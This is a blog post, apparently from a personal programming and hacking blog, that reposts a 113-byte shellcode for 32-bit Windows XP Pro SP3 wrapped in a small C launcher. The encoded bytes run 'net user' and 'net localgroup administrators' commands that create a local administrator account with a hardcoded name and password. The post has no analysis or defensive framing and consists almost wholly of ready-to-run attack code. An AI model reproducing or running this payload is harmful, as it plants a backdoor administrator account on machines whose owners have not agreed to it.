Tag Cloud

CRM 2011 (161) CRM 4.0 (144) C# (116) JScript (109) Plugin (92) Registry (90) Techpedia (77) PyS60 (68) WScript (43) Plugin Message (31) Exploit (27) ShellCode (26) FAQ (22) JavaScript (21) Killer Codes (21) Hax (18) VB 6.0 (17) Commands (16) VBScript (16) Quotes (15) Turbo C++ (13) WMI (13) Security (11) 1337 (10) Tutorials (10) Asp.Net (9) Safe Boot (9) Python (8) Interview Questions (6) video (6) Ajax (5) VC++ (5) WebService (5) Workflow (5) Bat (4) Dorks (4) Sql Server (4) Aptitude (3) Picklist (3) Tweak (3) WCF (3) regex (3) Config (2) LINQ (2) PHP (2) Shell (2) Silverlight (2) TSql (2) flowchart (2) serialize (2) ASHX (1) CRM 4.0 Videos (1) Debug (1) FetchXml (1) GAC (1) General (1) Generics (1) HttpWebRequest (1) InputParameters (1) Lookup (1) Offline Plug-ins (1) OutputParameters (1) Plug-in Constructor (1) Protocol (1) RIA (1) Sharepoint (1) Walkthrough (1) Web.config (1) design patterns (1) generic (1) iframe (1) secure config (1) unsecure config (1) url (1)

Pages

Tuesday, August 09, 2011

win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes


====================================================================

win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes

====================================================================



/*

Title: win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes

Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com

Method: Hardcoded opcodes (kernel32.winexec@7c8623ad, kernel32.exitprocess@7c81cafa)

Tested on: WinXP Pro SP3 (EN) 32bit - Build 2600.080413-2111

Greetz: offsec and inj3ct0r teams

*/

#include <stdio.h>

#include <string.h>

#include <stdlib.h>



char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23"

"\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"

"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63"

"\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"

"\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73"

"\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e"

"\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20"

"\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67"

"\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e"

"\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20"

"\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61"

"\x64\x64\x00";



int main(int argc, char **argv)

{

((void (*)())code)();

printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk");

return 0;

}


No comments: